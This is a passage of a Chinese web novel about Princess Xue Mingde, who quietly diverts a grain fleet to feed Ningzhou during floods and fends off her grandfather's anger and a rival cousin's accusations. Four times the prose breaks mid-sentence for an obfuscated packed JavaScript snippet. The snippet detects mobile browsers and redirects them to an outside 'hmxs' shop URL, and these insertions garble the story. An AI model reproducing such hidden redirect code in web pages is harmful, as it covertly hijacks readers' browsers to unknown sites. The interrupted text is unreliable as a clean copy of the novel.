一心斋是宁王府的外书房，薛明德让亲卫们都先回去修整，自己接了伞，从廊下出来，直往外书房去了。 到了一心斋，岁寒三友的雕花门两面敞开着，老王爷果然在里头，正威严的望着她。 薛明德没立即进屋，只是在门前跪下磕了个头。她的靴子湿漉漉的，袍角也浸了点水渍。 “给祖父请安。”薛明德恭敬的道：“祖父，孙女儿回来了。让祖父担心，是孙女儿不孝。” 老王爷端坐在椅子上，看着年少的孙女儿跪在书房外，雨水沾湿了她一缕发丝，脸上没有多少倦容，人却清减了。 责备的话一时间都化作了心疼。 宁王顿了片刻，才道：“去吧，换身衣服再过来说话。” “是。”薛明德又磕了个头：“孙女儿告退。” 进了垂花门，早有贴身侍女观书带了几个婆子来接她，下着雨，婆子抬来了小轿。薛明德摆手道：“不用那个。”仍自己走，观书接过她手里的伞，忙跟上去伺候。 薛明德的父亲是宁王府的世子薛琦，可在六七年前，父亲还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980614|193566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没袭爵就病势了，留下了世子妃，也就是薛明德的母亲，周夫人。 老宁王既心痛唯一的儿子英年早逝，又心疼唯一的孙女儿，遂请封了郡主的名号。余下两个孙子年纪还小呢，宁王也没想好怎么安排，就先这么着吧。 薛明德渐渐长大，五年前她十二岁了，有了自己的院子，可如今一回来，还是先往周夫人住着的华荣居，给母亲大人请安。 “娘亲。” 薛明德走进正房，正要下跪磕头，周夫人一把拉住了她，“快起来。”摸到她的长发还湿着，嗔道：“你这孩子，一去这般久，也不把自己照顾好。” “才回来嘛。一会儿就梳洗去。”薛明德半跪在母亲身前，房里的大丫头搬过来一张绣墩，她挨坐着了，又问道：“娘亲一向可好？风雨晦冥，娘亲也要保重才好。” 周夫人搂着她一顿揉，和她说家里都好，就是想她了，总也不见她回来。 薛明德任她母亲抱抱肩膀捏捏脸，才起身道：“我先去梳洗，还要去书房回祖父的话。” 周夫人点头：“去吧。晚上若没事了就回来陪我用饭。至善也闹着要见你。” 薛至善是薛明德同父同母的亲弟弟，是个年方八岁的小捣蛋。 薛明德莞尔一笑：“好。” 千玉堂与华荣居隔着一座花庭，薛明德依旧不用轿子，带了观书往院子走，又有周夫人派了几个婆子送她，都穿着蓑衣打着伞。 千玉堂自打收到郡主回府的消息就早早的预备下了，大丫头观琴带了几个小丫头在门前迎着，远远见着郡主回来，一齐接了上来。丫头们簇拥着她往屋里走，观书独留到最后，让人抓了几把钱，都赏给那几个婆子了。 婆子们都笑着谢过，还不忘啰嗦几句：“这一路过来蒙郡主体贴，没用着轿子，可虽是夏天呢，毕竟雨水不停，姑娘们伺候郡主殿下，也让小厨房多备些热水罢，别真给冻着了。” 观书笑笑应了。 进了自己院子，薛明德又放松了些许。余事一概先不管，丫头们都拥着她往浴房去。热水早已备下，薛明德将随身的佩刀递给候在一旁的观棋，小丫头们伺候她沐浴更衣。郡主殿下还得赶着去回老王爷的话，一时间倒也没什么事要着急回禀。 所以一切都还好。 换了一身家常衣裳，就着热茶吃了块点心垫垫肚子，用巾布绞过的长发早已半干，薛明德又往前府外书房去了。 老王爷的气已经消得差不多了，可孙女儿胆子太大，怎么都该罚一下。 于是他沉着脸，教训了几句，要她去延年堂静思己过。 薛明德在祖父面前可娇气多了，不乐意的道：“我去凉山是为民除害，那水匪虽躲在平洲境，可他们是在我宁州犯的事！” 宁王气道：“凉山也就罢了，你怎么还跑到了曹县去？平亲王要拿这事做文章，上头立时就能派人来捉你！” “上头早管不着这般远了！”薛明德忍不住反驳，倒还记得小声嘀咕。 朝廷式微，宁王能不知道吗，可知道也不能大喇喇的说啊。 他气得拍桌子：“你给我到延年堂去！现在就去！” 5. 两船粮食 第五章两船粮食 宣诚郡主就这样被老王爷扔到了延年堂。 延年堂是宁王府的家庙，也有个院子，左右两边都设做书房式样，最里间才是供着香案牌位。子孙们犯了错，扔进来关几天也是常有的事，权当静读书了。 到了晚上，华荣居这边不见郡主来用膳，一问之下才知道郡主殿下被关进了延年堂。 周夫人给吓了一跳。不过家庙嘛，女儿又不是第一次给她祖父关进去了——家里两个少爷都没这一个小姐能闯祸——总之，她是给吓了一跳，但也仅此而已。 周夫人让人拿食盒收拾了些点心，再吩咐个持重的丫头送去。丫头回来说刚好遇到了前院厨房的人，老王爷也允了给郡主殿下送饭。 看来闯的祸不大。 周夫人小小的放下心来。 老王爷让薛明德来延年堂静思己过，薛明德倒也没闲着。书房里备了书籍笔墨，她在桌前静坐，轻轻闭着眼睛，将这一阵子发生的事情都在心里过了一遍。 从水匪到曹县官兵，从凉山到玉砂江，从战事胜负到运粮官求请庇护后的安排。 最后，她想，假若局势转换，她是劣势的那一方，该怎么做才能避免被敌军深夜偷袭？被偷袭了又该如何化解？连日大雨，曹县营地驻扎的方式，夜间的戍卫巡守，粮草的存放位置，能否有更妥善的安排？ 曹县官兵这一败，不止败在曹营在明，而荆山营在暗，更败在他们自认为这是在己方地界，绝对安全。不曾想到会有另一股势力在他们毫不知情的情况下之下杀入了平洲境。 所以啊，永远都不要掉以轻心。朝廷式微，列强环伺，即便宁州想要偏安一隅，也备不住总有人虎视眈眈。 良久，薛明德徐徐的睁开了眼睛，眼中十分清明。 接下来的一段时日，薛明德果然在延年堂里安下心来，早起或是打拳或是舞剑，接着静心读书，从不吵着要出去，就连随身伺候的丫头也只是送一下换洗衣服，并不多留。 过得十余日，观棋带着个小丫头，一人提着包袱，一人拎着个食盒过来，守在门前的仆人笑道：“今日怎么是姑娘来了。” 观棋道：“小厨房里做了透花糍，夫人让我送一点过来。”说着指了指食盒。 仆人只是随口一说，并不敢拦的，忙让开了路，“姑娘请。” 观棋与那小丫头说道：“你在这儿等一会，别乱跑。” 小丫头应了，观棋接过食盒进了延年堂。一路走到书房，郡主殿下正坐在书案前写字，她便在门外站了一会。 薛明德写完这一段，才停了笔，回头看到是观棋，心中大约知道是何事了。 “殿下。”观棋进来曲了曲身，手上拿着东西，便没有多礼。 薛明德道：“李叙滨回来了？” “殿下如何知道的？”观棋瞪大眼睛，露出敬佩又惊讶的神色。 薛明德笑笑：“看来他差事办得不错？” 李叙滨便是那深谙水性的少年，当初薛明德带着人先回了州城，只让他一人绕路去了仓湾府。 “是。”观棋回道：“李叙滨让我上覆殿下，殿下吩咐的事情都办好了。幸不辱命。” “很好。” 俩人说着话，观棋将透花糍摆在了桌子上。宁王府的透花糍是用水晶米磨了七道极细的细粉做成的，小小点心，莹透如冰玉，里头裹的红豆软馅儿映透出来，彷如花影，是以名曰透花糍。 除了这一道甜点，另外还有酸口的贵妃红，和香口的龙井酥。点心都盛放在花瓣状的粉瓷碟子里，一碟一碟摆了出来，围在翠色的香茗一侧，望着便让人赏心悦目。 薛明德不挑食，但有喜欢的那就更好了，她弯了下眼睛，又道：“这一次出门大家都做得不错。过阵子闲了，给你们论功行赏。” 这也是惯例了，跟着郡主殿下闯荡江湖有肉吃。 观棋嘿嘿的笑，很开心。 另一边厢，仆僮亦如实上覆王爷，郡主殿下读书常至深夜，周夫人每每令丫鬟送茶点来，郡主殿下也不许多留。老宁王一面深觉宽慰，一面又忍不住问家令自己是不是罚得过了。 洛家令伺候家主一辈子了，哪能不知道老王爷的心思呢。 他温和的笑了下，恭敬回道：“王爷也说郡主殿下此举并无大错，只气她不懂得爱惜自己，竟亲身犯险至危墙之下。而今罚了大半个月，想来郡主已躬身自省。”顿了顿，他身子弓下去，续道：“眼看着就是盂兰盆节了，往年郡主殿下都亲自去放河灯以寄哀思。今年，求王爷也让郡主殿下了了心愿吧。” 说到放河灯，宁王就想到了自己那早逝的儿子。他沉沉的叹了口气，道：“也罢。过得两日就放她出来吧。到七月初十，若是我忘了，你提醒我。” “是。。” 老王爷这边盘算得挺好。哪知还不到初十呢，又有事儿了。 这天他在前殿召见了一群王府僚属，议了开仓平灾。今年雨水泛滥，灾情已定，朝廷又是这个鬼样子，虽然请求备灾的文书早已发往京城，可也不必空着等着朝廷能给米给粮了，先着手干吧。 宁王伸手揉了揉眉头，在书房里又处置了几项事情，便打算回栖云堂歇晌。 才走到半路，忽听有匆忙的脚步声传来，宁王站定了回头看，在他身旁跟着伺候的长随也张望了一眼，说道：“王爷，是许二管家来了。” 宁王已经看到了，“嗯”了一声，且等了片刻。 二管家许默，年纪四十开外，身材已有些发福了，难为他还能在长廊里走得飞快。到了跟前，许默躬身行礼，“王爷，仓湾府的仓曹有急事求见王爷，人在门下候着了。” 仓曹。掌一府之粮食贮藏与出纳，兼管公廨、租赋、田园。 今年处处有灾荒，这时节，仓曹当是忙于调度的时候。除非……仓湾府出事了！ 宁王的眉头拢了一下，说道：“让他到外书房见我。” “是。” 等会儿老宁王就会知道了。仓湾府确实出了点事，但仿佛和他预料的情形不大一样。 过不多时，许默带着个人到了一心斋，得到王爷的允准后，那人走进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980615|193566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书房，把腰弯得深深的拜了下去：“给王爷请安。下官覃治，乃仓湾府仓曹，奉府君之命，前来求见王爷。” 宁王看他风尘仆仆，显是匆忙赶来的，便让他免礼，先坐下再说。待覃治站直了身体，宁王又看他的神色，见他并没有十分慌乱，甚而还带着些微的兴奋，宁王又有些疑惑。 看来灾情没有很严重？ 仆僮奉上了热茶，还有几份点心，随后退下了。家令洛有成也给请了过来，随侍在老王爷左右。 覃治谢了坐，也喝了一口茶，心绪平复了些许，才缓声说道：“上禀王爷，因连月风雨，叙州要往庆远城的运粮船在半个多月前请求暂靠在我府仓湾港，押粮官名叫王箬横，当时是拿了郡主殿下的手书来的……” 船队停靠在仓湾港，廖府尹即让人收拾了粮仓，果不其然，过了两日，押粮官王箬横来求见了。 明面上是谢过廖府尹收留，更感激宣诚郡主救命之恩。等寒暄了好几句，王箬横才含蓄的提了江上雨大风急，有两艘船船身被损坏了，那些个粮食实在运不走，就留在仓湾府吧。 廖府尹大喜过望，果然啊果然。有这两船粮食，可解仓湾府今冬燃眉之急了！他忍着立即去江边看粮的冲动，咳嗽了一声掩饰情绪，又慢慢问，这事可报予过殿下吗？郡主殿下允准了吗？朝廷那边会不会有什么说法？ 王箬横微笑道：“郡主殿下自是知晓的。但殿下玉质诚心，搭救我等于兵乱，并不为这些许小物。另一则，今年这雨势大家都是见着的，路上纵有损耗，亦是情理之中。” “那是那是。”廖府尹捻须而笑：“但王大人与船上诸位的心意，我等还是会如实报予殿下。” “那就有劳府君了。”王箬横起身一拜。 廖府尹将他扶起，又说府衙里的厨娘烧得一手地道的仓湾菜，明日要宴请王箬横和他的副手，请务必赏光。 王箬横又客气了一回，说好明日一定来尝尝本地特色，才转身离去。 老宁王听到这里，真有点哭笑不得。明德这一番出城，算不算无心插柳呢。不过两船粮食，在老王爷这也算不得什么大事。 他摆摆手，言道：“既如此，你们将粮食收下蓄好便是。今年连月大雨，灾害已成，地里恐怕粮食欠收，百姓们或可撑得住秋天，到冬日，最迟明年年初，青黄不接之时也须得开仓平灾了，你们可要出力。” “是。”覃仓曹起身恭听了，等老王爷说完，他又深深一拜，语气里略有点尴尬的道：“若只为这两船粮食，下官也不敢擅离府城，实在是……” “嗯？” 也是。一艘漕船五丈八尺，能运粮二百多石，两艘船，满打满算也不会超过六百石。仓湾府派个快马驿路来报也使得。 看来还有旁的事。 他用眼神示意覃治说下去。 覃治在心里往额头抹了一把汗，手上却不敢动作，维持着拜倒的姿势说道：“实在是，后来又有船……船身毁坏……” 宁王爷瞪起眼睛：“不会全都坏了吧！” 那可就大件事了！！ 6. 独善其身 第六章独善其身 老宁王的声量突然拔高，守在门外的仆僮吓得一激灵，不知书房里出了什么事。 不一会洛家令开门出来，吩咐仆僮去煮热茶，再让厨房添些茶点。 仆僮应声去了，洛有成也不唤旁人来伺候，自己站在门前，看庭院里几株绿色芭蕉。 可怜被风雨打伤了叶子，今年想是难有结果。 一心斋里没了旁人，宁王爷还立等着回答。一辈子身居高位的人，气势还是很吓人的。 覃仓曹战战兢兢的立在一旁，声音都抖了好几下：“王爷放心，船只，船只并没有出现大量损毁。只是那一日事出突然，运粮船上的船夫们都给吓着了。” 彼时两位运粮官到府衙里赴宴，厨娘的仓湾菜果然烧得地道，王大人和李副官都吃得开怀。 过了几天，船上实在无趣，两个人说起仓湾菜，都有些馋，于是冒着雨，只带了个小厮，雇了辆车子，到城里下馆子去了。 谁知天时实在不凑巧，用过饭，雨倒是越下越大了。俩人挨着桌子说话，也不知什么时候才到得了陪都庆远城，虽已差人两头报信，只怕还是会有怪罪下来。 两个人越说越觉得这趟差事跑得凄惨，唉声叹气，只喝些闷酒。 天色本就暗淡，雨也一直不停，看看将近黄昏，还是又雇了个车，回船上守着去了。 本朝制令，运粮官不得长时间离船，夜里必须在运粮船上值宿。如遇特殊情况，正职与副职至少需得一人留守。 从青布小车回到船上，难免又打湿了衣衫，两个人相互拱手，各自回各自的房里去了。 昏昏沉沉睡到半夜，忽听外头一阵乱响，王箬横给吵得心中一跳，还当是曹县的事情又重演了，半醒之间又想到这是在宁王治下了，心下稍安。待要起来，又觉酒沉，眯着眼睛准备继续睡了，外边竟又嘈杂起来，风声雨声里伴随着哭声喊声，王箬横头皮一炸，完全惊醒了过来。 他伸手捞了件外衣，鞋子都没穿好，就拉开了房门，外头果然乱糟糟的又是喊又是叫，他抓住一个满脸仓皇的船夫，喝问道：“出了什么事！” “沉了。沉了！！！”船夫哭道：“我表弟还在那船上，大人，你救救我表弟！” 他说得语无伦次，王箬横却听懂了。他的脸上也渐渐显出慌张混乱的神色，想要快速的锁定出事的船只，但夜间风雨太大，他又迷瞪了好一会，才顺着船夫发抖的手指看到了那艘船。 漂泊的江面上，船只横斜在夜风里，还在逐渐的往下沉没，巨大的吸力引得附近的两艘船都动荡不安，好在漕运的人里也有好手，各艘船只都没有离得过近。 呼号求救的声音不断传来，有人在临船扔下绳索，有人跪在甲板上嚎哭。 王箬横只觉得头皮一阵一阵的发麻。 完了。这趟差事全完了。 港口的动静惊动了府衙，廖府尹带着一班衙役连夜赶来，又让人快马赶去兵营请来辖内校尉，带了一百兵士驻守港口，不止是粮食显眼，更是要防着宵小趁乱，总得以策万一。 夜里的援救总是折磨人，到得天亮，事情才理顺了些。 那一艘船已完全沉了，看着跟散架似的。船夫折损了好几个，也不知是死了还是随着江流飘走了。 王箬横垂头丧气的站在码头边，李淇也哭丧个脸，在他身边抱着头蹲在地上，什么读书人的体面，现在都顾不得了。朝廷势必要问罪的了。 廖府尹在港口呆了大半夜，回头看到两个运粮官如此颓唐，有些生气，走过来瞅了他们两眼。 王箬横叫了一句：“廖大人……”后边也不知该接些什么。 廖府尹叹口气，说道：“此乃天灾，非人力所能及。但事已至此，总要亡羊补牢才是。” “如何补呢？下官实在是……唉。”王箬横只是个芝麻小官，勉强够着从六品，这一路也不是送入京城，否则哪轮得到他冒头。只隔着几个州郡罢了，哪曾想又是兵匪又是沉船。 王箬横想着想着又想哭了，没等他哭出来，旁边副官李淇已经呜咽出声。王箬横一张脸就跟吃了黄连似的。 廖府尹耐着性子劝道：“你得先上去清点船只、米粮、人手，各损失了几成，尚余着几成。我再安排人报给我们王爷，出了这么大的事，总得让王爷知道。” 上去清点？王箬横抬头望那比岸边高出一截的漕船，一颗心就跟直接在风雨中飘摇似的，哆哆嗦嗦。 可事情还是得办呀！ 没法子，两个人硬着头皮上了船，一面清点米粮，一面又令船夫查看船只受损情况，一一报上来。只是这船是真不敢住了，求了廖府尹，在岸边给他们拨了一处民宅，统共就几间屋子，暂且住着吧。 “事情就是这般。”覃治弯了弯腰，保持着恭敬的模样：“下官看到州城这边风雨小了些，可仓湾府在大江边，浪还是急，王箬横和李淇一时半会是很难上路了。廖府尹吩咐我等立即再新建几处仓窑，但这一个船队的米粮，仓湾府恐怕不太好安置。” 确实，仓湾府作为一个港口府，大多时候是一个中转的地方，并没有设立太大的仓储地。 目前已有运粮船损毁，让这些粮食继续长时间搁置在江面上，显然也不妥当。 宁王想了一会，说要晚些再做决定。叫了洛有成安排覃治，暂且在州城休息两日。 洛有成和覃治都领命去了。 宁王独自坐在大书案后边，凝神想了想，这事儿，怎么有点蹊跷？ 全然是巧合吗？ 不太像。 更像是有人推动了这个局，将这一整只船队的粮食送到了自家家门口。 不一会，仆僮煮了热茶送来，见书房里的客人已离去了，便恭恭敬敬的将热茶和茶点都摆在桌上。 宁王拨了拨茶沫，慢腾腾的道：“请郡主来。” 仆僮躬身应下，到门外唤了另一个常在外书房伺候的小子在门前守着，以备主人传唤，自己一溜烟跑二门上去了。 将到二门前，才想起郡主殿下此刻还在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980616|193566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 延年堂呢，一拍自个儿脑袋，脚步转了个弯，又往延年堂跑。 延年堂里，薛明德刚写完一篇文章，案上还摆着几卷书。这些书籍她早已看过了，但总有些事情是需要“此事躬行”了再回头看，才能知其然更知其所以然。 屋子的一角摆着一座小小冰山，冰山上有冰镇的乌梅饮子。今年雨水盛，可七月的州城，依然是闷热的。 她刚好写完，就听到外头传来细微的说话声，不一会祖父那儿的仆僮小跑着过来，说祖父请她去外书房。薛明德看了看手里的文章，纸上墨迹未干。 她起身往门外走，吩咐了句“不必收拾”，守门的仆人一齐应“是”。 从一心斋到延年堂，并非一路都有廊亭，天上还飘着雨，仆僮的衣裳已湿了一大片。 薛明德让人多拿了把伞，仆僮接过伞时才知道是给他的，眼圈都要红了。薛明德却一壁往前走，一壁问他祖父可有说是何事。 仆僮小步跟在她身后，摇头说不知，只知道今日王府里来了外人，从前也曾见过的，是仓湾府的官员。具体做什么的小仆僮就说不上来了。 薛明德心里有数，约莫猜着祖父为什么找她了。 走到一心斋，雨还没停，薛明德将伞递给了仆僮，自己掸了掸衣角，才走进屋子给祖父请安。 老宁王垂眼看着她。 宁王府镇守一方，薛明德今日行的是军中抱拳礼。老宁王看着她挺直的背脊，不卑不亢的神情，心中原本五分的猜测突然就变成了七八分。 这孩子，胆子也太大了！ 老宁王又是一阵头痛。 屋里伺候的人都挥退下去了，书房里只祖孙两个，再无旁人。 老宁王目光沉沉的看了孙女儿一眼，直截了当的问：“仓湾府的事情是你安排的？” 薛明德一路行来已做好了准备，此刻便回道：“是。” 老宁王看她一脸正义凛然，真是气不打一处来，手指指着她抖了抖，“你胆子也太大了！”老宁王跟个大老虎似的在屋子里踱步，走了两圈又指着她，“你怎可如此自私！” “若是为己才是自私。宁王府难道缺我一口吃食吗。祖父，我为的是这一州的百姓。”薛明德被祖父责备，心头有些委屈也有些火起，她咬牙冷静道：“祖父，今年雨水比往年多了三倍都不止，天灾已成，百姓流离已是迫在眉睫的事，我知宁州粮仓可支应一州全年米粮，可若来年仍是个灾年呢？” “没有提前向祖父说明，是孙女的错。但劫这一队米粮，孙女儿不后悔。”她说着，拱起手，把腰杆深深的弯了下去。 老宁王看她把“劫”字都用上了，一时半会真说不出旁的来。好一会儿，才叹气道：“你可曾想过，你得了这一船队粮食，就会有旁的州会挨饿，别州的百姓就不是百姓了吗？” “祖父，达才能兼济天下。穷，只能独善其身。”薛明德说着，又慢慢的站直了身子，少年人的脸色染着薄薄的娇气和一丝窘迫：“宁州穷，我先做个独善其身的人吧。” 7.船队沉了 第七章船队沉了 这话说得实在有些赖皮。老宁王心里想笑，面上却忍着，瞪了孙女儿一眼。 但他也没再说什么，只让她第二天交一篇文章过来。晴耕雨读，下了那么久的雨，读书也该交个作业了不是？ 还好薛明德确实没荒废，手里刚好有一篇现成的文章，她老老实实的应声“是”。 老宁王又让她回后院给她母亲问安，薛明德便知道这一关算是过了。 孙女儿离开后，老宁王思索半晌，招来洛家令，如此这般吩咐一番。 洛家令点头称是，快步离去安排人手。 今年雨水太重，想新建粮仓恐怕不易，还是看看能把何处收拾出来，加固了用着更便宜。 这边厢薛明德回到了华荣居，周夫人自是一番惊喜，一壁叫人拿茶拿点心，一壁又嗔怪女儿是个“祸头子”，从小到大比家里两个男孩儿还能闯祸。 八岁的薛至善坐在圆椅上，做了个鬼脸冲长姐学舌：“祸头子。” 这个可就不必惯着了。 薛明德伸出手，捏住了弟弟白净脸蛋的一块肉。 “呜呜呜……” 满屋子的丫头都偷偷笑。 次日一早，薛明德果然带来一篇文章，老宁王捻着胡须看。 渐渐的，他的神情认真起来。 这篇文章既不是论兵，也不是论治，而是论大灾即来的部署与防治。非常切合宁州现今所需。 “州县史录民之孤老疾弱不能自食者二万一千九百余人以告……公敛富人所输，及僧道士食之羡者，得粟四万八千余石，佐其费。……” 文章起手引用了一段越州旧事，薛明德认为这位越州的赵公处置得不错，大灾来临他提前收集了有用的信息，全州统筹安排，使得域下平民虽难免家园破碎但至少维持了基本的秩序，在天灾面前最大程度的保住了治下的民众。 写到这儿笔锋一转，赵公已尽一切所能，可到了第二年春，越州依然“民饥馑疾疠，死者殆半，灾未有巨于此也。” 由此可见，大灾之后很大概率会出现大疫，而大疫的防治之难更甚于大灾。 文章写得挺长，后边还写了薛明德自己总结出来的应对之法，除了防患于未然，重中之重是仓廪实！！ 至于仓廪如何才能实…… 嗯？这看着是在给仓湾府那十几船米粮找理由呢？ 老宁王瞥了孙女儿一眼。 薛明德难得的脸红了一下，指指文章，那后头还有她写的对策。 祖孙俩正就着文章说实事，外头传来洛家令的声音。老宁王让他进来。 洛有成对王爷和郡主殿下行了个礼，声音平平的道：“王爷，平王府的二公子来了。” 老宁王手里还拿着文章呢，扭头看了看孙女儿。 人家摆明了要来兴师问罪了。 而薛明德当然也猜到了，只是一笑。 平亲王的爹和宁王是亲兄弟，和宁王以靖边立军功不同，平王纯粹就是命好，老皇帝最宠爱的贵妃生的儿子，在相对和平的地方分封，与宁州接壤。平王薨世，儿子降等袭爵，就是现在的平亲王。 他家老二比薛明德还长一岁，算同一个太祖的堂兄妹。 本朝律令，分封的臣子不得擅自离开封地，但其儿孙私下串门的就多了，何况这个还不是世子。 洛家令说二公子已到了宁州城外驿站，驿丞不敢怠慢，一面好水好饭伺候，一面使人飞马来报。 “远来是客，让亲民去迎一迎他。”老王爷道。 “是。” 薛亲民就这样被老王爷派了出去，带着他的小厮，长随，和十来个府卫。 到了城门近处，便看到一队人吆喝着过来，城门卫想管又不敢管，差点让马给踢了。薛亲民皱了皱眉，打马上前。 薛文禧也认出了他，踢着马过来，笑道：“亲民弟弟。” 薛亲民在马上拱了拱手：“给堂兄见礼。” “哈哈哈哈，果然是你。几年不见，你长高了。”薛文禧与他并辔而行，笑着道：“宁王爷爷还好吗？怎么是你出来了？给你弟弟跑腿呢？” 宁王府小公子才是王妃嫡出，但天生的羸弱，是个病秧子，王府这偌大产业最终鹿死谁手，尚未可知。 薛亲民转头看他，薛文禧仿佛一张天生笑脸，彷如随口一问，毫无心机。 薛亲民回过头看着面前还留着雨水痕迹的道路，也笑了笑：“祖父很好。文渊哥哥怎么没和你一起来？” 薛文渊，平王府世子。 薛文禧脸上抽了下，握着马鞭指了指前路：“快些个走吧。我看这雨还要下。” 一行人匆匆忙忙，总算在雨点将将落下时赶到了宁王府。 此时的宁王府，宁王和薛明德在一心斋里说着些民政上的事儿，见到两人一道回来，都是一笑。 薛文禧自打进来，看到这表妹竟在外书房里，已有些意外，此刻不由得多看了几眼。 一时双方礼见毕，下人们奉了茶水点心，薛亲民瞧着没自己什么事，便向祖父拱手告退。 薛明德坐在祖父下手，一点儿没有要跟着离开的意思。薛文禧没忍住，又看了一眼。 本朝无论官家民间，女子当家虽不是凤毛麟角，但多半还是会招个赘婿，以顶门立户。像宁王府这般实权在握的人家，有两个亲男孙，还把女孙带在身边学着理事的倒不多见。 薛明德笑道：“堂兄一直望着我做什么？” 宁王见这般说，也看向了薛文禧。 薛文禧手里捧着茶，就势说道：“听到下边人来报，有人带兵闯入我平洲境，在凉山上杀人放火，听他们说的那身形，领头的竟是个女子。我本不待信的，可父王着我来问一问，都说那起人是从宁州密林方向过来的呢。”他一面说，一面掀着盖盅要喝茶，茶有点烫，说了半天，刚好能入口。 薛明德等他把茶喝进嘴里了，才点头道：“不错，是我带去的。” “噗！”薛文禧不负她望，一口茶，喷了出来。 薛明德和宁王同时露出嫌弃的表情。 薛文禧尴尬的抹了抹嘴，说道：“妹妹不要说笑。” “我何曾说笑？”薛明德平静的望着他，但确实毫无笑意。 薛文禧脸色也正经了起来，本就是来兴师问罪的，这可找着理由了，“如此说来妹妹是承认擅自带兵闯我平洲了？” “我们是追着江洋大盗过去的，当地百姓都可作证。那一起盗贼不但在我宁州作乱，还流窜到忻州附近去了。”薛明德说着说着，露出一点疑惑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987740|193566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的神情：“说来奇怪，他们怎么都藏在平洲凉山境？是平亲王叔叔在包庇他们吗？还是说……那些个贼寇本就是你平洲专程养着的？” “妹妹莫要说笑！！”薛文禧惊得跳起来，下意识的又重复了这句话。 忻州有兵有粮，凶得很，他没事干去惹他们做什么？ “堂兄一会说我带兵闯平洲，一会又说我在说笑。”薛明德蹙了蹙眉，很明显的不待见了，“话都给堂兄说完了呢。” 薛文禧：…… 深深吸口气，他看向老宁王，意思是，您老都不管一管吗？ 老宁王倒不是真要慢待他，实在是他也拿不出像样的理由啊。亲孙女说的哪点不对？ 薛文禧看老宁王又端起了茶盏，明白堂祖父是要将这亲孙女护到底了。 不过区区凉山小贼，本就是个引子，他并不放在心上，这次父王令他来宁州，为的可是另一件事情。 他咳嗽一声，调整了情绪，对老宁王道：“宁王爷爷，六月里有一众船队停在玉砂江曹县岸，后来听说往宁州这头来了，不知……” “沉了。”薛明德平淡的说。 “沉……沉了？”薛文禧又给噎了一下。一时间都分神想着往后出门一定要看看黄历，怎么诸事不顺的样子。 薛明德点点头，没多做解释。 薛文禧想了半天，用手指比划着说道：“这么长一个船队……” 薛明德叹了口气，“是啊。属官们来报，风大雨急的，仿佛有船队沉没，一艘挨着一艘，都给江心吸进去了，可怜可怜。” “他们没想办法救一救？！” 薛明德歪着脑袋道：“隔得远，天又黑，怎么救？” “你知道那船上装的是什么吗！”薛文禧坐不住，起身咬牙。 “我不知道啊。”薛明德无辜的看着他，“堂兄知道？” 薛文禧：…… 薛文禧想捶胸顿足，又觉得有辱斯文。想骂人，偏生他还没有站得住脚的理由。 屁的船队沉没，那一船船的米粮谁瞧着不眼馋！肯定是这鬼丫头顺走了。 可是他又有什么办法呢？ 这几个月确实风雨交加，她说船沉了，随便指个水域，查都查不出来。更何况这是人家宁州的地盘。 薛文禧悻悻然，父王交代的事，一样没办成。 老宁王留他小住几日，薛文禧也算有几分心机，转念间笑着应了下来。 到得次日，他和丫头说想看看王府的园子，宁王果然派了薛亲民来陪他。薛亲民望着廊檐外细雨交织，没说什么，叫人拿了两把伞，陪他逛去了。 宁王是手握兵马的一方诸侯，王府修得比平王府还宽阔，但又不慕奢华，处处都显出磅礴的大气来。 俩人且走且看，薛文禧打着伞，一脸的笑模样，随口说起一些州郡风景，又说那一众船队里好多稀奇古怪的玩意，问堂弟可曾见着了？ 薛亲民正给飘忽的细雨弄得心烦，撑着伞隔得远，十二三岁的小公子扬声喊：“船？什么船？哥你大点声！！” 好不容易给打发远点的几个小厮都望了过来，薛文禧一口血涌上心头，声音都烦躁了许多：“没事。就随口说说。” 薛亲民凉凉的看回面前被乱雨打出涟漪的鱼池：呵。 8.扬长而去 第八章扬长而去 如此过了几日，薛文禧自觉讨了个没趣，再待着也赚不到便宜，只得向宁王爷爷辞行。 